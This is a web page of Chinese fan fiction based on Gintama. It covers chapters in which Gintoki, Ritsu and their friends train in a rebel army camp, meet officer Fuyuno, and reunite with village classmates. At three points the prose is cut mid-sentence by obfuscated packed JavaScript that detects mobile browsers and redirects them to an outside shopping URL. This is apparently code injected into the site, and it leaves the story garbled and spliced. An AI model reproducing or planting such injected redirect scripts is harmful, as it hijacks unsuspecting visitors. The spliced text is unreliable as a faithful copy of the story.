在银时屡战屡败屡败屡战后他实在无可奈何,用接下来三天都要上供给律的果子换得这条大鱼的一半享用权。 律似乎对压过银时这件事一向乐此不疲,不同于高杉那种把银时当做强劲的对手事事要超过银时,在律的心里,银时更多的类似于同类这种存在。 可能律没有意识到,但他潜意识里是把私塾当做[领地],而银时等人是他必须庇护的子民,所以当他们遇到危险的时候律总会第一个无畏地冲上去保护同伴,在他看来伤害同伴不亚于践踏尊严。经常跟银时不对付似乎也是这种无厘头的原因,骨子里的尊严趋势他必须制服这头时常踩着他的脑袋蹦迪的叛逆同类。 他们细心地清理好鱼,去除内脏,由于野外没有什么调味料,银时从怀里掏出一个酸酸涩涩的果子,把汁水挤到鱼肚子里作调味。然后,他们用一根结实的树枝从鱼腹处穿过,稳稳地架在了篝火上方的支架上。随着温度的升高,鱼皮开始慢慢收缩,发出“滋滋”的声音,油脂滴落在炭火上,发出“噼啪”的声响,同时升腾起一股股浓郁的香味,让人垂涎欲滴。翻动几次,确保每一面都能够均匀受热,直到鱼肉呈现出诱人的金黄色,并且表面形成一层酥脆的外壳。 这时,鱼肉已经变得异常鲜嫩,轻轻一撕,便能轻易地分离出一片片细腻的肉块。鱼皮香脆,肉质紧实而不失柔软,虽说调味不足,但果子特有的酸香和鱼肉鲜美的味道完美交织在一起,每一口都是对味蕾的极大享受。 银时闻着食指大动,律小心翼翼熟练地把烤好的鱼放置在一旁干净的叶片上,等待鱼肉放凉。 银时拿过了属于他的那一半鱼肉,在这铺天盖地的香味面前,银时的食欲被彻底唤醒,鼻子深深地吸了一口气,仿佛要将这所有的香气全部吸入鼻腔。 “没想到你手艺还不错嘛。” 鱼肉在口中几乎不需要用力咀嚼,轻轻一抿就化开,鲜美的汁液瞬间弥漫在整个口腔,带来一种难以言喻的满足感。手指头油光水滑,挂着几滴金黄色的油脂,在篝火下闪烁琥珀色的光芒,闪闪发亮,像律的眼睛。 律捧着鱼吭哧吭哧,口齿不清: “以前……经常烤鱼……” 律风卷残云般吃掉了手中的半条鱼后就眼巴巴看着银时手上剩下的半条。 他突然有些后悔答应分银时一半了,分明吃不够嘛。 银时察觉到律灼热的目光,警惕地背过身,语气里浓浓的护食意味: “干嘛,这是我的。” 20.大半夜不睡觉的孩子长不高 “呦,你们两个大晚上不睡觉跑来晒月亮啦。” 戏谑的声音随着夜风清晰地传入耳朵,察觉到身后的人并未散发出杀意,律头也不回埋头做自己的事。 “这么松懈可不行啊,一下子就被敌人抄了后背。” 话虽这么说着,冬野拍了拍灰,一屁股挤到律和银时的中间,整理了下羽织,叫银时挪过去点。 银时捧着满手流油的烤鱼吃得正香,被羽织带起的尘风糊了一脸,手上的烤鱼都沾上些许尘埃。 “……” 银时满脸黑线,奈何对方是自己的长官,还是个睚眦必报的噩魔长官,为了自己未来军营生活能过得舒坦点,银时选择君子不计小人过,他忍。便慢吞吞地挪动屁股,顺便装作不经意的样子把手上的油擦在冬野的羽织下摆。 律在埋头揪草,把仍然青绿的草从枯黄色的草堆里连根拔起。也不知道他视力怎么这么好,在昏暗只有朦胧月光照耀下的夜晚还能清晰地分辨出草的颜色。 律一手揪着小草,掀起眼皮看了一眼冬野,又低下头做自己的事情,似乎对一切都漠不关心。 冬野是个耐不住的性子,见气氛在她到来的一瞬间突然凝固,她决定主动找点话题。 冬野下意识伸手往律揪起的青绿小草堆里拿起一根,叼在嘴角抿着,律终于有了反应,抬头莫名其妙地看着冬野。 冬野叼着草像是叼着一根香烟,大大咧咧地盘腿坐着,一手撑在膝盖上,目光灼灼。 “你们两个,挺行的嘛,这个时间内脱离部队可是按照逃兵惩罚的哦。” 叼在嘴角的草根欲掉不掉,随着说话的动作一上一下,冬野下意识舌头一卷,把草根嚼在嘴里。 银时小心翼翼把凉了的鱼肉上细细的灰尘吹掉后,大口撕咬着已经变得干涩的肉,冷油在夜晚较低的温度下已经凝结成一层淡白色的浮脂,口感并不好。 银时带着幽怨的小眼神瞥向破坏他美食的罪魁祸首,含混不清地说:“饿肚子可是比逃跑还严重的大罪。” 律突然用同情的目光投向冬野,从怀里掏出用来调味的剩下的果子,递给她。 一只宽厚结实的手掌从她右边伸来,上面躺着几个干涩瘪小像海绵一样皱皱巴巴的果子,从外表溢出苦涩的味道。 冬野楞了一下,电光火石间联想到叼着草根时律奇怪的眼神,倏地笑了,这笑声从喉咙深处滚滚而来,没有任何拘束,仿佛是内心深处最真实的情感释放。 大半夜的,四周被高树环绕,气氛阴森森,不提冬野豪放不羁的笑声会不会吵醒不远处的新兵们,光是莫名其妙大笑这点就够律用关爱智障儿童的眼神看她了。 律老气横秋地叹了口气,想着打那么多年仗也不容易,把果子往冬野的怀里一塞。 “哎,长官要是饿了就吃这些果子吧,虽然味道不是很好,但饱腹足够了。” 银时被冬野突如其来的魔音贯耳吵得受不了,放下啃了大半的鱼肉,心想,我只想安安静静偷吃有这么难吗?于是朝冬野嘀嘀咕咕地吐槽:“有这么饿嘛,饿到大半夜不睡觉跑来发癫。” 冬野被二人看智障的眼神逗乐了,笑得更夸张,面部肌肉因过度用力而扭曲,肩膀上下起伏,整个身体因为无法抑制的笑意抖如糠筛,左手“啪啪啪”地拍打着大腿肌肉,过短的右手拍不到就悬在半空挥舞,手肘端的皮肉像用抹布裹紧一般褶皱比怀里的果子还多,疯狂舞动着,差点戳到一旁的银时的脸上。 时间在银时和律看疯子般的眼神一点一滴过去,冬野笑够了,渐渐平息颤抖的肩膀,擦了擦眼角渗出的泪液,喘了口气说道: “哈哈哈哈,不好意思不好意思,你们太有意思了哈哈哈。” 冬野拿起一个果子,也不在乎是否沾上了尘灰,就随意咬了一大口。 干瘪粗糙的触感在口腔漫延,仿佛在嘴里咀嚼的是干燥的木屑而非水果,偶尔侥幸从干涸的果肉里挤出一点点汁水,也会被那腐烂微苦的涩味恶心到。 冬野吃得面不改色,律倒是有些敬佩了。 冬野一边咬着果子,一边笑着问他们: “你们怎么会想着来参加攘夷军,说来听听。” 银时瞥了她一眼,含糊地说: “没什么,就是为了找个人罢了。” “哦?” 冬野一脸促狭,生动的表情敞在脸上,让今晚这个人简直活了起来,在银时和律心里不苟言笑的形象也悄然改变。 “难道是某个暗恋的小姑娘?你们这把年纪…嘛…确实会做出这样的事,为爱献身什么的。” “不是这样的。” 这下倒是律抢先反驳了,他的目光很认真,琥珀色的眸子一眨不眨盯着冬野的眼睛。 “我们是为了找到老师才踏上这个战场的,对我们来说,松阳老师在的地方才是我们的家园。” 银时撇过脑袋,一言不发。 冬野楞了一下,才回过神笑道: “那一定是对你们很重要的人……” 银时察觉她话里有话,忍不住开口: “冬野长官,你又是为何踏上战场呢?我看你才三十几岁吧,那么年轻就来打仗了?” “咚!” 一个硕大的拳头无情地砸在银时脑袋上,律竟然觉得这一幕有些熟悉,松阳老师敲他脑门的时候好像也是这般出其不意。 “嗷!痛死啦!你是松阳吗喂!” 银时捂着发红发肿的大包不满地大叫,这个女人力气怎么这么大?!明明已经被松阳敲出耐痛性的脑袋还是会被这个女人的怪力疼得一抽一抽。 “喂喂喂,敲脑袋会长不高哦,阿银要是没长过一米八就怪你咯。” 银时还在不满地嚷嚷,以至于后来一想到被某两个卷毛嘲讽的身高就会下意识想起冬野,她面容像隔着一层雾掩埋在记忆尘埃,但那敲在头上鲜明的疼痛却又那么真实,发烫。 冬野揉着银时的脑袋,咬牙切齿。 “混小子,老娘才二十岁啊,我踏上战场的时候你还在你娘怀里吃奶呢。” 律大惊失色。 “你看起来明明这么老啊!怎么可能才二十!” “咚!” “好痛!” 律泪眼汪汪,一瞬间又想到了松阳。 冬野无奈地揉着后脑勺,我看起来真的这么老嘛,都怪战争催人老。 叹了一口气,目光突然变得悠远绵长,冬野从领口掏出一条红绳系着的东西,敞在银白色的月光下。 那是一截小小的指骨,表面光滑洁净,在月光下反射出幽冷的光泽,轮廓在光影交织下清晰可见,骨头上每一处细细的纹理都清晰可辨,仿佛无声诉说岁月的斑驳。 银白色的指骨被一条因长年累月佩戴而有些磨损的红细绳绕过骷髅洞系着,上半部分的红绳颜色较重,边缘粗糙起毛,银时想那是血液喷溅上去凝固的结果。 冬野薄薄的指腹摩擦着光滑的指骨,能看出她平日里对它的爱护。 冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033435|148044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野的脸部的线条变得柔和却又有些模糊,似乎整个人都被一层薄雾笼罩着,让人感觉到一种无法靠近的距离感。她难得沉默了许久,眉头紧锁,形成了一个深深的“川”字,似乎在努力拼凑记忆中的碎片,又或者是在尽力压抑那些不愿触及的情感。 冬野的目光变得遥远而模糊,仿佛穿越了时空的界限,回到了某个遥远的时刻。眼中闪烁着一种难以名状的光芒,那是一抹混合了温柔、怀念与哀伤的光。 “我嘛……兴许跟你们的目的是差不多的……” 冬野突然笑了,表情却有些落寞。 银时瞥见她无意识摩挲的指骨,嘴里嚼着不饶人的话。 “怎么,你要找这个骨头的主人啊?他跟你有仇?” 冬野缓缓地摇头,哀伤地笑着说: “不是哦,这是我哥哥的指骨,他死的时候只有十几岁,我发誓要找到那个杀他的男人,杀掉他,把他的尸骨烧成灰烬撒到我哥的墓碑上。” 月光如刀锋般穿过密集的树林,割破了夜的寂静。它不偏不倚地落在冬野的脸上,尤其是那双眼睛,仿佛被月光刻意挑中。光线在她眼中折射出一种异样的光芒,带着一种诡异,癫狂色彩,让人不寒而栗。 空气顿时陷入死一般的寂静,银时未曾想到的是,表面大大咧咧豪放不羁的冬野长官竟然藏着这么刻骨铭心的仇恨,就像掩盖在树丛里的蝮蛇,平静的薄薄的外表下诉说着喷薄欲出的仇恨的怒火,现在看着表情恢复平静的冬野,银时突然就有种毛骨悚然的感觉。 冬野笑了一声,打破死寂的气氛,站起来拍了拍羽织上的尘灰,仿佛刚才那个瞬间展露恶意的人不是她,用正常的语调道: “好了好了,赶紧去睡觉,过几个时辰就要起来训练了哦。” 银时和律收拾好篝火,跟在冬野屁股后头回去。 夜晚浓郁的黑色渐渐淡了,天空呈现一种深蓝和黑色交织的特殊景象,黑幕变得稀薄,圆月的轮廓愈发模糊不清,这暗示着今夜快要过去了。 律忍不住打了个哈欠,浓浓困意铺天盖地袭来,于是噗通一下栽倒在地,再蛄蛹蛄蛹着挪到睁着眼睛睡觉的桂身旁,终于熬不过上下打架的眼皮,意识遁入一片深沉的黑色。 银时把睡姿标准的高杉挤到一边去,躺到高杉和桂的中间,高杉被银时窸窸窣窣的动作吵醒,不情不愿掀开一只眼皮,嗓音里含着困倦。 “你们跑哪里去了……” 银时把高杉往侧面一推,高杉便像没骨头一样滚到一旁,手臂软绵绵地搭在腰侧。银时贴心地把高杉睁开的眼皮合上。 “没你的事,赶紧睡。” “混蛋……” 终究是耐不过困倦,高杉心里念叨着明天一定要问个清楚,沉沉睡了过去。 * 远处的山峦和树木的轮廓开始变得清晰起来,轮廓线在逐渐增亮的天幕下逐渐显现。 冬野靠在朝阳的大树底下,她的脸庞在明暗交替中显得更加立体,五官的轮廓在阴影中若隐若现,增加了几分神秘感。 那双眼睛在逐渐显露的日光下显得异常明亮,但那不是温暖的光芒,而是一种冷冽的、近乎不自然的光亮。瞳孔中仿佛藏匿着某种不可言说的秘密,那光芒如同深渊中的寒冰,让人感到一股刺骨的寒意。她的眼神中没有明显的恐惧或愤怒,只有一种令人不安的冷静,仿佛她在观察着什么,又似乎在等待着什么。 冬野的食指抵着那截小小的白皙的指骨,轻轻地烙下一吻。 21.实在想不出什么标题就随便敷衍一下吧 秋季就在柿子慢慢腐烂的味道中悄然离去。时值秋末,枯黄泛红的叶片从依偎的树枝依依不舍地飘落,那挂在树上色泽鲜红的柿子逐渐在深秋的尾巴里变得黯淡无光,表皮慢慢破裂了,整个果实渐渐地收缩,绵软的果肉腐化成一滩滩酸臭黏糊的水,被薄薄的干巴巴的一层果皮包裹着,挂在树枝梢头摇摇欲坠,像达摩克里斯之剑一般令人担忧倒霉的那个人会不会是自己。 气候渐渐凉了,风带着秋天的尾巴姗姗来迟,携着果实酸腐味的凉风把一层薄薄的水汽覆盖在肌肤上。叶片簌簌飘零,似乎带来初冬的信号,夜间风穿梭过光秃秃的枝桠时,还能听到呼啸声,为夜色增添几分寂寥与萧瑟。 银时等人对秋天的离去最直观的感受就是骤降的气温和晴朗与阴霾交替出现变化不定的天气,着实折磨人。 好在还没有生生熬过这三个月,上级就派人送来了补给,一同前来的还有刚编入的炊事小班,在前线炊事供应充足的情况下他们就被派来支援新人了。 银时抖抖嗖嗖地穿上补给的衣服,才从冷冽的寒风里找回自己的体温。过去的这半个月简直生不如死,每天都是长时间高强度的训练,长跑的距离随着时间慢慢从10公里增加到20公里30公里,有时候还得负重前行(指背着另一个同伴),他背着高杉那个小矮子可谓是多灾多难,跑太颠了高杉会狠狠揪着他的脑袋,跑太慢了又会被小矮子嘲讽加鄙视,气得他憋着一口气不上不下。轮到高杉背他的时候又因为银时欠揍的性格老想把鼻屎抹在高杉头上结果被报复(指脑袋撞到横着的树杈上摔下来)耐力跑对于银时等人来说并没有什么难度,和处处针对看不顺眼的人合作反而才是最糟心的。 在银时和高杉剑拔弩张的气氛烘托下,桂和律的那一组倒是显得其乐融融了。律很擅长在隐蔽幽暗的环境里行动,简直如履平地,再加上律天生的大力气和超长肺活量,区区耐力跑完全不在话下。有时候趴在律身上的桂都怀疑身下的不是在奔跑的人类,反而是在平稳的路上疾驰的轿车。而桂背着律跑的时候,过于谨慎和讲究策略的他选择匀速前行(在此鄙夷两个逞强好胜势要争个高下的幼驯染)桂跑得又慢又稳,律往往下巴撑在桂的脑壳上就睡着了。 除了耐力和负重,冬野还会教这群新兵蛋子如何学会在森林里隐藏身形。让身体匍匐地上或紧贴在树木背后,呼吸变得轻缓而细微,全神贯注倾听周围动静,捕捉任何可能危险的信号。 自从学会了这项技能,冬野特别喜欢组织全体新兵玩起“踢罐子”的游戏,美名其约锻炼新兵的反应能力和隐藏能力,银时总怀疑这个女人借着训练的名义满足自己玩游戏的癖好。 有时候冬野心血来潮教他们战术部署,什么侧翼包抄啊,钳形攻势啊,伏击战术啊,一向不爱听课的银时和律再次晕里晕乎,律飘着星星的眼前幻视香喷喷的烤翅,烧得红彤彤的螃蟹钳,流着口水一头栽倒在地。高杉虽然也不感兴趣,这些经典的战术对于自幼饱读诗书礼乐兵家阵法的武家少爷来说不在话下,但他还是会靠在树上支起一条腿撑着脑袋有一搭没一搭听着这些滚瓜烂熟的理论。桂同学不愧是松下私塾优秀门生,听课最认真,上课时目光灼灼从不犯困,积极举手回答问题并提问,主动与冬野长官探讨军术变化,让看到一群听不懂课尸体般躺倒在地的新兵们时拔凉拔凉心情的冬野好一阵慰贴,连上课时的目光都慈爱了许多。 日子就这样不咸不淡地度过,除了日常的训练外也没有发生什么轰轰烈烈的大事,村塾那晚通天的大火仿佛隔着一层朦朦胧胧的雾,明明没过去多久,却已经像是很久远的事了。 令银时等人比较惊讶的是,他们在新来的炊事班里看到几个熟悉的身影。 “正男?美里?你们怎么出现在这里。” 正田弱弱地反驳:“是正田啦,话说这个梗你到底要玩多久啊,读者们都腻了吧喂!” 美里的脸上绽放出见到同伴而喜悦的光芒,记得发地说道: “太好了!大家都还活着,那晚大火后我和正田就失去了你们的消息,我还以为……以为……” 说到后面,美里简直泣不成声,双手捂着脸呜呜呜地哭。正田一改曾经纯情少年的局促模样,熟练地把美里的脑袋埋在胸前,摸着美里的头发轻声细语温柔地安慰。 …… 银时等人满脸写着嫌弃。 呸,腻歪的小情侣。 美里同学比起印象里发生了很大的变化,他把那头飘逸乌黑的秀发一剪子剪短了,有的地方长有的地方短,有的地方的头发几乎垂直于头皮向外突出,整体显得凌乱不堪,斑驳陆离。要不是美里天生丽质的脸稳稳hold住了这糟糕的发型,就凭这狗啃还不如的技术足以让发型师扼腕叹息。 桂自己也留了一头长发,知道美里对头发的珍惜,因此特别惋惜,下意识捻着自己的衣缕长发说: “美里,这头发是你自己剪的吗?” 美里已经平复好了心情,从正田的怀里抬起头,揩了揩眼角湿润的泪水,带着鼻音回答道: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050397|148044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是我让正田同学帮我剪的。我和他已经打算参加攘夷军了,入营前我想改变自己的形象,让我看起来更阳刚一点,就拜托正田同学剪头发了。” 桂恨铁不成钢中夹杂着痛惜的目光看向美里的头发,听到这糟糕发型的罪魁祸首是正田,于是好比怨妇的幽怨眼神就盯上了正田。 正田尴尬地摸了摸美里的头发,脸上浮现些许羞愧。 “对不起,美里同学,我技术太差了,剪个头发都剪不好。” 美里温柔地抱住正田,把小脸依偎在正田的怀里。 “没有,你剪的很好看呀,我很喜欢呀。” 正田感动地看向美里温柔的目光,美里含情脉脉,暧昧的气氛在二人间交织。 “美里同学——” “正田同学——” “停——打住打住!” 银时看不下去了,这狗粮噎得慌,连忙跳出来打断这情深深雨濛濛的氛围。 高杉问出了他们最关心的问题。 “西村婆婆她们怎么样了?” 要说村里最照顾最偏袒他们的无意识西村婆婆了,虽然她脾气不好,有时候也会毫不客气指使村塾的人干这干那,偶尔也像个小孩子一样跟银时吵起来,但西村对他们的偏心可是有目共睹。松下私塾被烧了后高杉他们隔天就离开了,也没有告知其他人,事后想想最关心私塾的西村婆婆还有些后悔,起码得跟那个老太婆知会一声。 正田和美里互相看了一眼,脸上都带着犹豫的神色。 桂敏锐地捕捉到他们的踟蹰,心下升起不妙的预感。 “她们……还在村里吗?” 最后还是正田咬咬牙,硬着头皮开口: “私塾被烧没多久,就有一群差役打扮的人冲到西村婆婆家里要把阿枫带走。当时你们已经离开了,我和美里就跑去求村长救救阿枫,但……村长说这是阿枫自己犯下的罪,牵连了西村婆婆。” 美里秀气的脸上挂上一丝愤怒,银牙紧咬,似乎想起村长那张冷酷无情的脸,气得拳头攥紧。 “我不懂,阿枫她只是个小孩啊,她能犯什么大错值得那么多人抓她,我看见了……上次阿枫回来的时候身上全是伤口,血淋淋的流满了衣服。” 美里秋水盈盈的双眼里渗出朦胧水汽,眼角红红的,又要哭了。 正田熟练地把美里揽在怀里安慰。 银时却没有心情吐槽他们了,焦急地问道: “然后呢?西村老太婆和阿枫她们怎么样了?” 22.小孩子的成长可是非常快的啊 据正田美里所言,山村再次派人来抓她们的时候,阿枫拼死反抗,听当时在现场的大人们说那个狼一样凶狠的女孩飞速攀爬到追捕者的身上,牙齿死死咬着肩颈,硬生生从肩膀处扯下一块肉,阿枫满口鲜血,表情淬满死一样的可怖与灰白。后来趁抓捕的领头人捂着伤口痛呼的时候,围观的村民们眼睁睁看着阿枫一把抓起那个步履略有些蹒跚的老女人疯了一样地从包围圈的罅隙里狂奔而出。 空气顿时陷入一片凝滞的寂静之中,几人的脸上不由带上复杂情绪,桂率先做出反应,他目光沉沉地看向仍陷入自责的美里,语调放得轻柔: “这不是你们的错,村长也要考虑惹怒官役给村子带来灾难的下场呵……” 高杉皱着眉头打断桂的话,语气里藏不住的锋利和讥讽。 “你说那个靠着出卖老人和小孩苟活的懦弱小人?如果连一个村子里的妇孺都无法保护谈什么守护村子,真他妈放屁!” “这……” 桂哑火了,一时间嘴角嗫嚅说不出一句话。 银时瞥了眼像点燃了炸药桶一样突然发作的高杉,脸上还是那漫不经心地神色,懒洋洋地说道: “嘛,你们也别担心,凭阿枫那小鬼要从敌人身上咬下一块肉的执拗劲,区区几个拿百姓的钱不干正事的税金小偷还奈何不了她。” 律难得应和银时的话,把手重重搭在高杉的肩上,歪着头说: “你也知道西村婆婆不是一般人,真要比起来银时也打不过吧。” 银时明白律这是巧妙地避开那个话题变相地安慰高杉,但那个一根筋的小矮子却不太领情,神色抵触地拍开律的手,眉头仍然紧蹙得跟谁欠了他一样,把律递过来的台阶拆的稀巴烂。 高杉冷哼了一声,看着小伙伴面面相觑的脸却像一拳打到棉花上憋屈又不爽地走了。 银时揉着脑袋嘀咕: “矮子少爷脾气怎么这么大,说话跟吃了火药一样呛人。” 桂老气横秋地长叹一口气。 “高杉那家伙就是这样,天然排斥厌恶那些屈服官僚强权之下的懦弱之人。” 律却并不是很在意这些,比起那些涉及到政治黑暗面的弯弯绕绕他更在意正田美里两个小伙伴的情况。 美里说他家里本来就支持攘夷军保卫国家驱除鞑虏的举动,听到美里想去当兵,虽说有些不舍但他们觉得攘夷总有一天会胜利到时候美里也有个一官半职,况且美里去的是较为安全的炊事部队大多数情况下只是待在后方,家里人也就点点头随他便了。 而正田却是瞒着父母偷偷跑来和美里一起参军,他说父母绝对不会同意他来参军的,在当过一辈子农民的父母眼里长大以后继承一亩三分地当个农民娶个老婆生个孩子平平稳稳过一辈子才是正道,像脑子一抽去当兵这种离经叛道的事简直不可理喻。 正田揉着脑袋不服气地说: “我不想当一辈子农民,老师说过人远比想象中更自由,我想走出那个狭小的村子,当兵也好打工也好……”正田想起父母听到他说要去当兵是那看什么畸形物种一样的眼神,鼓了鼓气,不满地小声嘀咕: “反正不想一辈子困在那里……” 银时桂律三人却对视一眼,嘴角上扬,桂看着少年脸上淡褐色的雀斑,那黝黑的眼睛里悄然浮现对自由的渴望,像是看到老师埋下的种子在心底悄悄发芽,桂不由得欣慰一笑。 如果老师在的话,他会露出什么样的神情呢? 桂静静地想。 * 在正田不懈地哀求下,冬野长官松了口终于同意他从炊事班掉到新兵营的申请。 美里虽然有些不舍,但还是尊重小男友的想法,揩着眼泪一步三回头仿佛在上演琼瑶剧。 美里所在的炊事班可以说是非常重要的一个后勤单位,用银时的话来说就是人均彪形大汉单手拎铁锅的重量级战士。 毕竟那一身一手拎勺一手颠锅,持着菜刀追着猎物上蹿下跳而练出来的腱子肉可不是盖的。美里娇小的身材和清秀的面孔在一堆肌肉发达凶神恶煞的大汉里显得格外单薄可怜,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081247|148044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像群狼中唯一的一只羊,弱小可怜又无助。 炊事班的食物一般从控制的领地,缴获敌军食物或者与群众交易、其他有反叛之心的大名合作这些途径获取。银时等人所在的部队位于几个村子的中央地带,食物大部分来源于与村民的交易,用货币或者动物皮毛等村民们需要的东西交易,而美里同学自带的亲和力就在这种场合派上用场,在与村民们唇枪舌战讨价还价中愈发熟练稳重,简直与相见时胆怯羞涩的模样判若两人。 新兵营并不会固定驻扎在同一个地方,隔几个月他们就会换一个地方,这不仅考虑到驻扎地区资源丰瘪程度也有提高新兵对环境适应性的考量。这决定了炊事班与村庄交易的频率并不高,并且军队的规模并不大,再加上食物丰收的季节刚过没多久,所以当美里听说离他们现在驻扎地最近的村庄不愿意交易时才会那么诧异。 “皮毛是他们过冬所必需的,按理说不应该拒绝呀?难道今年收成不太好?” 美里坐在临时搭成营帐里,停下捏着笔在纸上写写画画的动作,听到副手的报告后摆出一副诧异的神情。 虽然眼前负责交易谈判的长官只有十来岁的模样,但副手却作出恭恭敬敬的表情一点也不敢因为年纪太小而轻视这个入营没多久就火速升上长官的少年。 与村子交易并不是表面上那么一帆风顺,背地里有许多弯弯绕绕。副手还记得刚入营时这个孩子羞涩地躲在队伍最后面,也会被脾气暴躁不愿意与他们沟通的村长吓得眼角发红。后来美里慢慢展露了他在沟通协商,运筹物资方面的天赋,客服了害羞胆怯后很快成长了起来如今的美里已经能够站在大名派来明显瞧不起他们的使者面前谈笑风生,不卑不亢(美里相当于贸易方面的外交使节) 美里决定亲自带队与村长协商。时至已是秋末,今年的冬天似乎比往常更冷些,树木渐渐凋零萧瑟,前段日子缀满枝头的果实接二连三噗噗掉落,腐烂成来年的春泥。森林里奔跑的动物少了,这意味着他们在冬天到来前必须屯上足够的食物来应对食源稀少的环境。 23.回忆总是那么猝不及防 “什么?攘夷军已经派人来借过粮食了?” 美里的声音里止不住地诧异。 此时的他带着几个看着精明能干和几个虎背熊腰的手下,做好百无一失的准备后来到准备交易粮草的那个村子。 本来在他心里此次借粮必是一番恶战,该村乃是长州藩大名底下出了名的丰饶之村,粮食水源充足的情况下必然要考虑一下身外之物,美里已经做好了以皮毛布匹等过冬必须品交换食物的打算,但在他们匆匆忙忙赶来的时候村长居然一脸茫然地说“他们”已经“借”过粮食了? 而且还是“借”不是“交换”。 如果排除别的势力组织借着攘夷军的名义谋取利益的可能,只剩下村子不愿意交易粮食而编造谎言的假设了。 美里眼里流露出几分怀疑,忍不住在心里思索这份可能性。 按理说,长州藩一直与攘夷军保持若有若无的暧昧联系,大名对他们攘夷军的态度也似支持又仿佛不在意。就好像在做一份风险投资,大名谨慎地对他们下赌注,如果攘夷胜利了长州藩可以分到一杯羹,攘夷失败被幕府清缴大名也不会受到太大的牵连。 在顶头老大这番若即若离的态度下,底下的村子其实对他们一直保持良好的交易关系,很多时候他们与村子交易并不会受到太多阻拦。 村长捋着胡子面带为难。 “啊……前几天有个高高瘦瘦的男人自称是攘夷志士,代表部队来向我们借粮食。” 村长见美里茫然的神色不似作假,心里浮现起一个可怕的猜想,声音不由得磕磕巴巴: “因为……之前也有其他的组织来交换粮食嘛……再加上他借的不多,只是一些食物和水……哦对了对了,他还找我们借了一些绷带和消炎药。” “绷带?” 美里敏感地捕捉到这个词汇,如果是像他们这种民间自发组织的军队,在缺乏官方补给的情况下,紧急时刻向周围的村子求助借用医用资源这种事也合情合理。 “不不不,也有其他的可能。” 美里摇了摇头,看向面前这个比他高大的男人,眼里自然而然流露出温和的笑意,整个气质陡然变得稳重和从容。 他语气柔和地问村长: “事情我们大概了解了,能否告知我们那个‘攘夷军’的具体情况呢?一点点细节就可以。” 美里姣好的脸庞上挂着与青涩身形不符的沉着镇静的温和笑意,村长不由得有些咂舌,下意识就忽略了跟他谈话的仅是个年龄还没他零头大的小孩这个事实。 “啊……对了,他们在村尾那处废弃的屋子里歇脚,我上次经过那里的时候听到过小孩子的声音!” 村长摸着下巴,想到什么后激动地叫出来。 美里笑了笑,轻轻地点了下头以示感谢。 村长回过味来,自己刚才太不稳重了,在美里稚嫩的脸庞面前不由得尴尬地挠了挠头。 美里谢过村长后,卸下脸上挂着的官方的笑意,转过身,皱着眉头对他带来的手下说: “田中,三浦,你们两个跟我去探查情况,其他人留在原地待命。” 三浦——美里的副手——听到上司这番安排下意识楞了一下,忍不住开口: “大人,这样太危险了!要是他们不怀好意怎么办?” 被排除在外的几个肌肉发达看着就很有威慑力的手下也有些疑惑,附和道: “是啊是啊,大人,对方是敌是友我们都没搞清楚……” “大人,让我跟你去吧,如果对方不安好心我一拳打三个。” 那位“以一敌三”的勇士秀了一下漂亮的肱二头肌。 美里被逗笑了,严肃的神情就像冰块一样渐渐融化开来,眼底的暖意像春水一般自然而然流淌而出。 他轻轻地咳嗽一声,明明声音不大,大家却迅速安静下来,神情认真,竖起耳朵听美里的安排。 “如果我的猜测没错,对方应该是我们的同伴。” “?” 三浦满脸错愕。 美里静静地环视了一圈四周,解释道: “村长说,对方在几天前用攘夷军的名义借了这么多粮食。” 美里比了个数,继续解释道: “这么点粮食按一个成年人标准食量来计算,只够十来个成年人吃三天。如果对方是强盗,他们不会用攘夷军的借口盗取粮食。如果借食物的是背井离乡的难民,借医疗用品也合情合理,但他们不会只借这么点粮食,更多的可能是一口气要求大量但对于一个部队来说合理的粮食后逃之夭夭。” 美里顿了一下,皱着眉说: “而且对方为什么要用攘夷志士的借口骗取粮食而不是卖惨祈求村子收留呢。要知道,我们攘夷军并不是在每个地方都受到群众支持,大多情况下用我们作为借口只是个不明智的选择。” 情况确实如此,在幕府带头投降屈服于天人淫威之下,民间突然冒出一股要剿灭天人的清流,尽管幕府做出表面上极力撇清关系暗地里偷偷观望的态度,掌握权势的天人也严格要求幕府下令全国各地不允许支持攘夷运动。在这种情况下,虽然有几个藏不住冒头的叛逆野心的大名偷偷支持,但更多的是屈服于幕府屈服于天人不敢支援攘夷军只想安安稳稳的藩州。 “对方既然敢冒着被攘夷志士追责的风险,又安安稳稳躲在村子里似乎不怕被拆穿,只有一个可能。” 美里注视着安静下来的众人,缓缓开口: “对方应该是像我们一样的新兵营,并且发生了什么特殊情况导致他们不得不躲在村子里。” * 在美里说服众人后,他带着三浦,田中两个副手向村长说的那个地方走去。 